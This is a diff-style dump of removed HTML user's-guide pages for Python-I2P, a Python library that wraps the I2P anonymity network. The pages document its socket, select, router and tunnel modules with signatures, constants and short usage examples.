<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
|
||||
"http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html lang="en"><head><title>User's Guide:i2p - Wikipedia</title>
|
||||
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
|
||||
<meta name="robots" content="index,follow">
|
||||
<link rel="shortcut icon" href="/favicon.ico">
|
||||
<style type='text/css'><!--
|
||||
/*/*/
|
||||
a.new, #quickbar a.new { color: #CC2200; }
|
||||
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
|
||||
#article { margin-left: 152px; margin-right: 4px; }
|
||||
/* */
|
||||
//--></style>
|
||||
</head>
|
||||
|
||||
<body bgcolor='#FFFFFF' onload=''>
|
||||
<h1 class='pagetitle'>User's Guide:i2p</h1><p class='subtitle'>From Python-I2P.
|
||||
|
||||
|
||||
<div class='bodytext'>
|
||||
Package <code >i2p</code > is a container package for more specific modules.
|
||||
|
||||
|
||||
<p>
|
||||
It contains the following modules:
|
||||
|
||||
<p>
|
||||
<ul >
|
||||
|
||||
<pre> <a href="i2p.BaseHTTPServer.html" class='printable' title ="User's Guide:i2p.BaseHTTPServer">i2p.BaseHTTPServer</a> (Emulate Python BaseHTTPServer module)
|
||||
<a href="i2p.CGIHTTPServer.html" class='printable' title ="User's Guide:i2p.CGIHTTPServer">i2p.CGIHTTPServer</a> (Emulate Python CGIHTTPServer module)
|
||||
<a href="i2p.eep.html" class='printable' title ="User's Guide:i2p.eep">i2p.eep</a> (Retrieve eepsites)
|
||||
<a href="i2p.router.html" class='printable' title ="User's Guide:i2p.router">i2p.router</a> (Manage the I2P router)
|
||||
<a href="i2p.select.html" class='printable' title ="User's Guide:i2p.select">i2p.select</a> (Emulate Python select module)
|
||||
<a href="i2p.SimpleHTTPServer.html" class='printable' title ="User's Guide:i2p.SimpleHTTPServer">i2p.SimpleHTTPServer</a> (Emulate Python SimpleHTTPServer module)
|
||||
<a href="i2p.socket.html" class='printable' title ="User's Guide:i2p.socket">i2p.socket</a> (Send and receive across the I2P network)
|
||||
<a href="i2p.SocketServer.html" class='printable' title ="User's Guide:i2p.SocketServer">i2p.SocketServer</a> (Emulate Python SocketServer module)
|
||||
<a href="i2p.tunnel.html" class='printable' title ="User's Guide:i2p.tunnel">i2p.tunnel</a> (Exchange data between I2P and regular sockets)
|
||||
|
||||
</pre>
|
||||
</ul >
|
||||
class <strong>Error</strong>(Exception):
|
||||
<ul >
|
||||
|
||||
<pre> Base class for all I2P errors.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
class <strong>RouterError</strong>(Error):
|
||||
<ul >
|
||||
|
||||
<pre> Could not connect to router.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
</div>
|
||||
</body></html>
|
@ -1,85 +0,0 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
|
||||
"http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html lang="en"><head><title>User's Guide:i2p.router - Wikipedia</title>
|
||||
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
|
||||
<meta name="robots" content="index,follow">
|
||||
<link rel="shortcut icon" href="/favicon.ico">
|
||||
<style type='text/css'><!--
|
||||
/*/*/
|
||||
a.new, #quickbar a.new { color: #CC2200; }
|
||||
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
|
||||
#article { margin-left: 152px; margin-right: 4px; }
|
||||
/* */
|
||||
//--></style>
|
||||
</head>
|
||||
|
||||
<body bgcolor='#FFFFFF' onload=''>
|
||||
<h1 class='pagetitle'>User's Guide:i2p.router</h1><p class='subtitle'>From Python-I2P.
|
||||
|
||||
|
||||
<div class='bodytext'>
|
||||
Module <code >i2p.router</code > allows Python programs to control the I2P router.
|
||||
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Functions"> Functions </a></h2>
|
||||
|
||||
<p>
|
||||
<strong>check</strong>(dir=None)
|
||||
<ul ><pre>
|
||||
Checks whether a locally installed router is running. Does
|
||||
nothing if successful, otherwise raises i2p.RouterError.
|
||||
|
||||
An I2P installation is located by using find(dir).
|
||||
The router.config file is parsed for 'router.adminPort'.
|
||||
This port is queried to determine whether the router is
|
||||
running.
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>find</strong>(dir=None)
|
||||
<ul ><pre>
|
||||
|
||||
Find the absolute path to a locally installed I2P router.
|
||||
|
||||
An I2P installation is located by looking in the
|
||||
dir argument given to the function, then in the environment
|
||||
I2P, then in PATH. It looks for startRouter.sh or
|
||||
startRouter.bat. Raises ValueError if an I2P installation
|
||||
could not be located.
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>start</strong>(dir=None, hidden=False)
|
||||
<ul ><pre>
|
||||
Start a locally installed I2P router. Does nothing if
|
||||
the router has already been started.
|
||||
|
||||
An I2P installation is located by using find(dir).
|
||||
|
||||
If hidden is True, do not show a terminal for the router.
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>stop</strong>(dir=None, force=False)
|
||||
<ul ><pre>
|
||||
Stop a locally installed I2P router, if it was started by
|
||||
the current Python program. If force is True, stop the
|
||||
router even if it was started by another process. Do nothing
|
||||
if force is False and the router was started by another program.
|
||||
|
||||
The file 'router.config' is located using the same search
|
||||
process used for find(dir). It is parsed for
|
||||
'router.shutdownPassword' and 'router.adminPort'. The
|
||||
router is shut down through the admin port.
|
||||
|
||||
Raises i2p.RouterError if the I2P router is running but cannot
|
||||
be stopped. You must uncomment the
|
||||
'router.shutdownPassword' line for this command to work.
|
||||
</pre>
|
||||
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
</div>
|
||||
<p><em>
|
||||
</em><!-- Time since request: 0.77 secs. -->
|
||||
</body></html>
|
@ -1,60 +0,0 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
|
||||
"http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html lang="en"><head><title>User's Guide:i2p.select - Wikipedia</title>
|
||||
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
|
||||
<meta name="robots" content="index,follow">
|
||||
<link rel="shortcut icon" href="/favicon.ico">
|
||||
<style type='text/css'><!--
|
||||
/*/*/
|
||||
a.new, #quickbar a.new { color: #CC2200; }
|
||||
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
|
||||
#article { margin-left: 152px; margin-right: 4px; }
|
||||
/* */
|
||||
//--></style>
|
||||
</head>
|
||||
|
||||
<body bgcolor='#FFFFFF' onload=''>
|
||||
<h1 class='pagetitle'>User's Guide:i2p.select</h1><p class='subtitle'>From Python-I2P.
|
||||
|
||||
|
||||
<div class='bodytext'>
|
||||
Module <code >i2p.select</code > emulates the Python module <code >select</code >.
|
||||
|
||||
|
||||
<p>
|
||||
With this module, a program can perform select and poll commands on traditional and I2P sockets.
|
||||
|
||||
<p>
|
||||
<strong>poll</strong>()
|
||||
<ul >
|
||||
|
||||
<pre> Returns a polling object. Works on SAM sockets and Python sockets.
|
||||
See <a href='http://www.python.org/doc/current/lib/module-select.html' class='printable' title="http://www.python.org/doc/current/lib/module-select.html">select.poll()</a> in the Python library for more information.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
<strong>select</strong>(readlist, writelist, errlist, timeout=None)
|
||||
<ul >
|
||||
|
||||
<pre> Performs a select call. Works on SAM sockets and Python sockets.
|
||||
See <a href='http://www.python.org/doc/current/lib/module-select.html' class='printable' title="http://www.python.org/doc/current/lib/module-select.html">select.select()</a> in the Python library for more information.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
<strong>Polling flags</strong>
|
||||
|
||||
<ul ><pre>
|
||||
POLLIN = 1
|
||||
POLLOUT = 4
|
||||
POLLERR = 8
|
||||
POLLHUP = 16
|
||||
POLLNVAL = 32
|
||||
POLLPRI = 1
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
</div>
|
||||
</body></html>
|
@ -1,376 +0,0 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
|
||||
"http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html lang="en"><head><title>User's Guide:i2p.socket - Wikipedia</title>
|
||||
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
|
||||
<meta name="robots" content="index,follow">
|
||||
<link rel="shortcut icon" href="/favicon.ico">
|
||||
<style type='text/css'><!--
|
||||
/*/*/
|
||||
a.new, #quickbar a.new { color: #CC2200; }
|
||||
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
|
||||
#article { margin-left: 152px; margin-right: 4px; }
|
||||
/* */
|
||||
//--></style>
|
||||
</head>
|
||||
|
||||
<body bgcolor='#FFFFFF' onload=''>
|
||||
<h1 class='pagetitle'>User's Guide:i2p.socket</h1><p class='subtitle'>From Python-I2P.
|
||||
|
||||
|
||||
<div class='bodytext'><a name="top"></a>
|
||||
Module <code >i2p.socket</code > allows Python programs to access the <a href="samproxy.html" class='printable' title ="SAM proxy">SAM proxy</a>. It emulates the Python module <code >socket</code >.
|
||||
|
||||
|
||||
<p>
|
||||
With this module, a program can send stream data, datagrams, and raw packets across the I2P network.
|
||||
|
||||
<p>
|
||||
|
||||
<p><table border="0" id="toc"><tr><td align="center">
|
||||
<b>Table of contents</b></td></tr><tr id='tocinside'><td>
|
||||
<div style="margin-bottom:0px;">
|
||||
<A CLASS="internal" HREF="#Sockets">1 Sockets</A><BR>
|
||||
</div>
|
||||
<div style="margin-bottom:0px;">
|
||||
<A CLASS="internal" HREF="#Functions">2 Functions</A><BR>
|
||||
</div>
|
||||
<div style="margin-bottom:0px;">
|
||||
<A CLASS="internal" HREF="#Errors">3 Errors</A><BR>
|
||||
|
||||
</div>
|
||||
<div style="margin-bottom:0px;">
|
||||
<A CLASS="internal" HREF="#Constants">4 Constants</A><BR>
|
||||
</div>
|
||||
</td></tr></table><P>
|
||||
<h2><a name="Sockets"> Sockets </a></h2>
|
||||
|
||||
<p>
|
||||
class <strong>socket</strong>(session, type, samaddr='127.0.0.1:7656', **kwargs)
|
||||
<ul ><pre>
|
||||
Create a new socket. Argument session should be a session
|
||||
name -- if the name has not yet been used, an I2P
|
||||
Destination will be created for it, otherwise, the
|
||||
existing Destination will be re-used. An empty session
|
||||
string causes a transient session to be created. Argument
|
||||
type is one of SOCK_STREAM, SOCK_DGRAM, or SOCK_RAW.
|
||||
|
||||
I2P configuration keyword arguments:
|
||||
|
||||
- in_depth - depth of incoming tunnel (default 2)
|
||||
- out_depth - depth of outgoing tunnel (default 2)
|
||||
|
||||
A single session may be shared by more than one socket, if
|
||||
the sockets are the same type, and if the sockets are
|
||||
created within the same Python process. The socket
|
||||
objects are multithread-safe.
|
||||
|
||||
Examples:
|
||||
>>> a = i2p.socket('Alice', i2p.SOCK_STREAM)
|
||||
>>> b = i2p.socket('Bob', i2p.SOCK_DGRAM,
|
||||
in_depth=2, out_depth=5)
|
||||
|
||||
The created object behaves identically to a socket from
|
||||
module socket, with the following exceptions:
|
||||
|
||||
* I2P Destinations are used as address arguments [1].
|
||||
* bind is a no-op: sockets are always bound.
|
||||
* send* methods send all data and are non-blocking.
|
||||
|
||||
A given session name can only be open in a single Python
|
||||
program at a time. If you need to overcome this
|
||||
limitation, consider patching I2P.
|
||||
|
||||
[1]. Alternatively, a host name can be used as an address.
|
||||
It will be resolved using hosts.txt.
|
||||
|
||||
</pre>
|
||||
|
||||
|
||||
<pre> For details on how to use socket objects, see
|
||||
<a href="http://www.python.org/doc/current/lib/socket-objects.html" class='printable' title="http://www.python.org/doc/current/lib/socket-objects.html">http://www.python.org/doc/current/lib/socket-objects.html</a>
|
||||
</pre>
|
||||
<p>
|
||||
|
||||
<pre> See the examples directory for code examples.
|
||||
</pre>
|
||||
</ul >
|
||||
The class <code >socket</code > defines the following properties:
|
||||
|
||||
<ul >
|
||||
|
||||
<pre> dest - Local I2P Destination of socket
|
||||
session - Session name
|
||||
type - Socket type: SOCK_STREAM, SOCK_DGRAM, or SOCK_RAW.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
The class <code >socket</code > defines the following methods:
|
||||
|
||||
<p>
|
||||
<strong>accept</strong>(self)
|
||||
<ul ><pre>
|
||||
Accept an incoming connection. The socket must be type SOCK_STREAM, and
|
||||
listen() must be called prior to this command. The return value is (conn,
|
||||
remotedest), where conn is a new socket object made for the connection, and
|
||||
remotedest is the remote Destination from which the connection was made.
|
||||
|
||||
Example:
|
||||
|
||||
>>> from i2p import socket
|
||||
>>> s = socket.socket('Alice', socket.SOCK_STREAM)
|
||||
>>> s.listen(10)
|
||||
|
||||
This prepares the server. Now accept an incoming connection:
|
||||
|
||||
>>> c, remotedest = s.accept()
|
||||
>>> c.send('hello world!')
|
||||
|
||||
If accept() is called on a socket that is in non-blocking mode or has a
|
||||
timeout, i2p.socket.BlockError or i2p.socket.Timeout may be raised. This
|
||||
indicates that no incoming connection is currently available.
|
||||
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>bind</strong>(self, address)
|
||||
<ul ><pre>
|
||||
Does nothing. Provided for compatibility with the Python socket command
|
||||
bind(), which binds a server to a port.
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>close</strong>(self)
|
||||
<ul ><pre>
|
||||
Closes the socket. It is an error to call any method other than recv() or
|
||||
recvfrom() on a closed socket. For streams, the receive methods return data
|
||||
that was received prior to the closing of the socket. For datagram and raw
|
||||
sockets, the receive methods cannot be used on a closed socket.
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>connect</strong>(self, address)
|
||||
|
||||
<ul ><pre>
|
||||
Connect to a remote dest, identified in local SAM bridge's hosts file as host
|
||||
'address'.
|
||||
|
||||
For example:
|
||||
|
||||
>>> s.connect('duck.i2p')
|
||||
|
||||
Alternatively, you can use a full base64 Destination:
|
||||
Example:
|
||||
|
||||
>>> s.connect('238797sdfh2k34kjh....AAAA')
|
||||
|
||||
If connect() is called on a socket that is in non-blocking mode or has a
|
||||
timeout, i2p.socket.BlockError or i2p.socket.Timeout may be raised. This
|
||||
indicates that the connection is still being initiated. Use i2p.select.select()
|
||||
to determine when the connection is ready.
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>connect_ex</strong>(self, address)
|
||||
<ul ><pre>
|
||||
Like connect(), but return any error that is raised. Returns None if no error
|
||||
is raised.
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>getpeername</strong>(self)
|
||||
|
||||
<ul ><pre>
|
||||
Get the remote Destination associated with the socket. This is equivalent to
|
||||
s.remotedest, and is provided for compatibility with the Python socket module.
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>getsockname</strong>(self)
|
||||
<ul ><pre>
|
||||
Get the local Destination associated with the socket. This is equivalent to
|
||||
s.dest, and is provided for compatibility with the Python socket module.
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>gettimeout</strong>(self)
|
||||
<ul ><pre>
|
||||
Get the timeout value.
|
||||
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>listen</strong>(self, backlog)
|
||||
<ul ><pre>
|
||||
Listen for connections made to the socket. This method must be called before
|
||||
accept(). The backlog argument specifies the maximum number of queued incoming
|
||||
connections.
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>makefile</strong>(self, mode='r', bufsize=-1)
|
||||
<ul ><pre>
|
||||
Return a file object for the socket. See socket.makefile() in the Python
|
||||
documentation for more information.
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>recv</strong>(self, bufsize, flags=0)
|
||||
|
||||
<ul ><pre>
|
||||
Receive string data from the socket.
|
||||
|
||||
The maximum amount of data to be received is given by bufsize. If bufsize is
|
||||
zero, this function returns an empty string immediately. If bufsize is nonzero,
|
||||
this function blocks until at least one character is available for reading. If
|
||||
the socket has been closed, an empty string is returned as an end of file
|
||||
indicator.
|
||||
|
||||
If recv() is called on a socket that is in non-blocking mode or has a timeout,
|
||||
i2p.socket.BlockError or i2p.socket.Timeout will be raised if data is not
|
||||
available within the given timeframe.
|
||||
|
||||
For a datagram or raw socket, the first bufsize characters of the packet are
|
||||
read, and the remainder of the packet is discarded. To read the entire packet,
|
||||
use bufsize = -1.
|
||||
|
||||
For datagram and raw sockets, the packet may originate from any Destination.
|
||||
Use recvfrom() with datagrams to determine the Destination from which the
|
||||
packet was received.
|
||||
|
||||
The flags argument can be a bitwise OR of MSG_PEEK, MSG_WAITALL, and/or
|
||||
MSG_DONTWAIT. MSG_PEEK indicates that any data read should not be removed from
|
||||
the socket's incoming buffer. MSG_WAITALL indicates to wait for exactly bufsize
|
||||
characters or an error. MSG_DONTWAIT indicates that the recv() command should
|
||||
not block execution.
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>recvfrom</strong>(self, bufsize, flags=0)
|
||||
<ul ><pre>
|
||||
Like recv(), but returns a tuple (data, remoteaddr), where data is the string
|
||||
data received, and remoteaddr is the remote Destination.
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>send</strong>(self, string, flags=0)
|
||||
<ul ><pre>
|
||||
Sends string data to a remote Destination.
|
||||
|
||||
For a stream, connect() must be called prior to send(). Once close() is called,
|
||||
no further data can be sent, and the stream cannot be re-opened.
|
||||
|
||||
For datagram and raw sockets, connect() only specifies a Destination to which
|
||||
packets are sent to. send() will then send a packet to the given Destination.
|
||||
connect() can be used multiple times.
|
||||
|
||||
The send() command never blocks execution. The flags argument is ignored.
|
||||
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>sendall</strong>(self, string, flags=0)
|
||||
<ul ><pre>
|
||||
Identical to send().
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>sendto</strong>(self, string, flags, address)
|
||||
<ul ><pre>
|
||||
Send a packet to the given Destination.
|
||||
|
||||
Only valid for datagram and raw sockets. The address argument should be either
|
||||
a name from the hosts file, or a base64 Destination.
|
||||
|
||||
The sendto() command never blocks execution. The flags argument is ignored.
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>setblocking</strong>(self, flag)
|
||||
|
||||
<ul ><pre>
|
||||
Set blocking or non-blocking mode for the socket.
|
||||
|
||||
If flag is True, any method called on the socket will hang until the method has
|
||||
completed. If flag is False, all methods will raise i2p.socket.BlockError() if
|
||||
they cannot complete instantly.
|
||||
|
||||
s.setblocking(False) is equivalent to s.settimeout(0); s.setblocking(True) is
|
||||
equivalent to s.settimeout(None).
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>settimeout</strong>(self, value)
|
||||
<ul ><pre>
|
||||
Set a timeout for the socket.
|
||||
|
||||
The value argument should be a timeout value in seconds, or None. None is
|
||||
equivalent to an infinite timeout.
|
||||
|
||||
A socket operation will raise a i2p.socket.Timeout if the operation cannot
|
||||
complete within in the specified time limit.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Functions"> Functions </a></h2>
|
||||
|
||||
<p>
|
||||
Functions defined in module <code >i2p.socket</code >:
|
||||
|
||||
<p>
|
||||
<strong>resolve</strong>(host, samaddr='127.0.0.1:7656')
|
||||
<ul >
|
||||
|
||||
<pre> Resolve I2P host name --> I2P Destination.
|
||||
Returns the same string if host is already a Destination.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Errors"> Errors </a></h2>
|
||||
|
||||
<p>
|
||||
class <strong>Error</strong>(i2p.Error)
|
||||
<ul ><pre>
|
||||
Base class for all SAM errors.
|
||||
</pre>
|
||||
</ul >
|
||||
class <strong>BlockError</strong>(Error)
|
||||
|
||||
<ul ><pre>
|
||||
Socket call would have blocked.
|
||||
</pre>
|
||||
</ul >
|
||||
class <strong>ClosedError</strong>(Error)
|
||||
<ul ><pre>
|
||||
A command was used on a socket that closed gracefully.
|
||||
</pre>
|
||||
</ul >
|
||||
class <strong>NetworkError</strong>(Error)
|
||||
<ul ><pre>
|
||||
|
||||
Network error occurred within I2P.
|
||||
|
||||
The error object is a 2-tuple: (errtag, errdesc).
|
||||
errtag is a SAM error string,
|
||||
errdesc is a human readable error description.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Constants"> Constants </a></h2>
|
||||
|
||||
<p>
|
||||
<strong>Socket types</strong>
|
||||
<ul ><pre>
|
||||
SOCK_STREAM = 1
|
||||
SOCK_DGRAM = 2
|
||||
SOCK_RAW = 3
|
||||
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>Packet sizes</strong>
|
||||
<ul ><pre>
|
||||
MAX_DGRAM = 31744 # Maximum size for datagram packet
|
||||
MAX_RAW = 32768 # Maximum size for raw packet
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>Flags for recv()</strong>
|
||||
<ul ><pre>
|
||||
MSG_DONTWAIT = 128 # Don't block
|
||||
MSG_PEEK = 2 # Peek at incoming data
|
||||
MSG_WAITALL = 64 # Wait for all data or error
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
</div>
|
||||
</body></html>
|
@ -1,124 +0,0 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
|
||||
"http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html lang="en"><head><title>User's Guide:i2p.tunnel - Wikipedia</title>
|
||||
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
|
||||
<meta name="robots" content="index,follow">
|
||||
<link rel="shortcut icon" href="/favicon.ico">
|
||||
<style type='text/css'><!--
|
||||
/*/*/
|
||||
a.new, #quickbar a.new { color: #CC2200; }
|
||||
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
|
||||
#article { margin-left: 152px; margin-right: 4px; }
|
||||
/* */
|
||||
//--></style>
|
||||
</head>
|
||||
|
||||
<body bgcolor='#FFFFFF' onload=''>
|
||||
<h1 class='pagetitle'>User's Guide:i2p.tunnel</h1><p class='subtitle'>From Python-I2P.
|
||||
|
||||
|
||||
<div class='bodytext'>
|
||||
Module <code >i2p.tunnel</code > allows data to be exchanged between traditional TCP sockets and I2P sockets.
|
||||
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Tunnels"> Tunnels </a></h2>
|
||||
|
||||
<p>
|
||||
Tunnels allow stream sockets to be joined, so that connections to a listening socket are relayed to one or more sending sockets. This allows an ordinary web server to be exposed as an I2P Destination, or an I2P Destination to be bound as a local port, and so on.
|
||||
|
||||
<p>
|
||||
class <strong>Tunnel</strong>(self, receive, make_send, nconnect=-1, timeout=60.0)
|
||||
<ul ><pre>
|
||||
A Tunnel relays connections from a 'receive' socket to one
|
||||
or more 'send' sockets. The receive socket must be bound
|
||||
and listening. For each incoming connection, a new send
|
||||
socket is created by calling make_send(). Data is then
|
||||
exchanged between the created streams until one socket is
|
||||
closed. nconnect is the maximum number of simultaneous
|
||||
connections (-1 for infinite), and timeout is the time that
|
||||
a single connection can last for (None allows a connection
|
||||
to last forever).
|
||||
|
||||
Sockets must accept stream traffic and support the Python
|
||||
socket interface. A separate daemonic thread is created to
|
||||
manage the tunnel. For high performance, make_send() should
|
||||
make a socket and connect in non-blocking mode (you should
|
||||
catch and discard the i2p.socket.BlockError or socket.error
|
||||
due to executing connect on a non-blocking socket).
|
||||
|
||||
Security Note:
|
||||
A firewall is needed to maintain the end user's anonymity.
|
||||
An attacker could keep a tunnel socket open by pinging it
|
||||
regularly. The accepted sockets from 'receive' must prevent
|
||||
this by closing down eventually.
|
||||
|
||||
Socket errors do not cause the Tunnel to shut down.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
<strong>close</strong>()
|
||||
<ul >
|
||||
|
||||
<pre> Close all connections made for this tunnel.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
|
||||
<h3><a name="Tunnel_Server"> Tunnel Server </a></h3>
|
||||
|
||||
<p>
|
||||
class <strong>TunnelServer</strong>(session, port, samaddr='127.0.0.1:7656', nconnect=-1, timeout=None, **kwargs)
|
||||
<ul ><pre>
|
||||
Tunnels incoming SAM streams --> localhost:port.
|
||||
|
||||
nconnect and timeout are the maximum number of connections
|
||||
and maximum time per connection. All other arguments are
|
||||
passed to i2p.socket.socket(). This call blocks until the
|
||||
tunnel is ready.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
<strong>TunnelServer</strong> properties:
|
||||
<ul ><pre>
|
||||
|
||||
dest - I2P Destination of server.
|
||||
session - Session name for server.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
|
||||
<h3><a name="Tunnel_Client"> Tunnel Client </a></h3>
|
||||
|
||||
<p>
|
||||
class <strong>TunnelClient</strong>(session, port, dest, samaddr='127.0.0.1:7656', nconnect=-1, timeout=None, **kwargs)
|
||||
<ul ><pre>
|
||||
Derived from Tunnel.
|
||||
Tunnels localhost:port --> I2P Destination dest.
|
||||
|
||||
A session named 'session' is created locally, for purposes
|
||||
of routing to 'dest'. nconnect and timeout are the maximum
|
||||
number of connections and maximum time per connection. All
|
||||
other arguments are passed to i2p.socket.socket(). This call
|
||||
blocks until the tunnel is ready.
|
||||
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
<strong>TunnelClient</strong> properties:
|
||||
<ul ><pre>
|
||||
dest - Local Destination used for routing.
|
||||
remotedest - Remote Destination.
|
||||
session - Session name for local Destination.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
</div>
|
||||
</body></html>
|
@ -1,82 +0,0 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
|
||||
"http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html lang="en"><head><title>Main Page - Wikipedia</title>
|
||||
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
|
||||
<meta name="robots" content="index,follow">
|
||||
<link rel="shortcut icon" href="/favicon.ico">
|
||||
<style type='text/css'><!--
|
||||
/*/*/
|
||||
a.new, #quickbar a.new { color: #CC2200; }
|
||||
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
|
||||
#article { margin-left: 152px; margin-right: 4px; }
|
||||
/* */
|
||||
//--></style>
|
||||
</head>
|
||||
|
||||
<body bgcolor='#FFFFFF' onload=''>
|
||||
<h1 class='pagetitle'>Main Page</h1><p class='subtitle'>From Python-I2P.
|
||||
|
||||
|
||||
<div class='bodytext'>
|
||||
<strong>Python-I2P</strong> is a Python interface to <a href='http://www.i2p.net' class='printable' title="http://www.i2p.net">I2P</a>.
|
||||
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Quick_Start"> Quick Start </a></h2>
|
||||
|
||||
<p>
|
||||
Install:
|
||||
|
||||
<p>
|
||||
<ul ><pre>
|
||||
python setup.py install
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
Use:
|
||||
|
||||
<p>
|
||||
|
||||
<ul ><pre>
|
||||
>>> from i2p import socket
|
||||
>>> s = socket.socket('Alice', socket.SOCK_STREAM)
|
||||
>>> s.connect('duck.i2p')
|
||||
>>> s.send('GET / HTTP/1.0\r\n\r\n')
|
||||
>>> s.recv(1000)
|
||||
(HTTP response from duck.i2p)
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
|
||||
See the <a href="../../src/examples/">src/examples/</a> directory for more code examples.
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="User's_Guide"> User's Guide </a></h2>
|
||||
|
||||
<p>
|
||||
The following modules are available:
|
||||
|
||||
<p>
|
||||
<ul >
|
||||
|
||||
<pre> <a href="i2p.html" class='printable' title ="User's Guide:i2p">i2p</a> (Container package)
|
||||
<a href="i2p.BaseHTTPServer.html" class='printable' title ="User's Guide:i2p.BaseHTTPServer">i2p.BaseHTTPServer</a> (Emulate Python BaseHTTPServer module)
|
||||
<a href="i2p.CGIHTTPServer.html" class='printable' title ="User's Guide:i2p.CGIHTTPServer">i2p.CGIHTTPServer</a> (Emulate Python CGIHTTPServer module)
|
||||
<a href="i2p.eep.html" class='printable' title ="User's Guide:i2p.eep">i2p.eep</a> (Retrieve eepsites)
|
||||
<a href="i2p.router.html" class='printable' title ="User's Guide:i2p.router">i2p.router</a> (Manage the I2P router)
|
||||
<a href="i2p.select.html" class='printable' title ="User's Guide:i2p.select">i2p.select</a> (Emulate Python select module)
|
||||
<a href="i2p.SimpleHTTPServer.html" class='printable' title ="User's Guide:i2p.SimpleHTTPServer">i2p.SimpleHTTPServer</a> (Emulate Python SimpleHTTPServer module)
|
||||
<a href="i2p.socket.html" class='printable' title ="User's Guide:i2p.socket">i2p.socket</a> (Send and receive across the I2P network)
|
||||
<a href="i2p.SocketServer.html" class='printable' title ="User's Guide:i2p.SocketServer">i2p.SocketServer</a> (Emulate Python SocketServer module)
|
||||
<a href="i2p.tunnel.html" class='printable' title ="User's Guide:i2p.tunnel">i2p.tunnel</a> (Exchange data between I2P and regular sockets)
|
||||
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
</div>
|
||||
</body></html>
|
@ -1,35 +0,0 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
|
||||
"http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html lang="en"><head><title>SAM proxy - Wikipedia</title>
|
||||
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
|
||||
<meta name="robots" content="index,follow">
|
||||
<link rel="shortcut icon" href="/favicon.ico">
|
||||
<style type='text/css'><!--
|
||||
/*/*/
|
||||
a.new, #quickbar a.new { color: #CC2200; }
|
||||
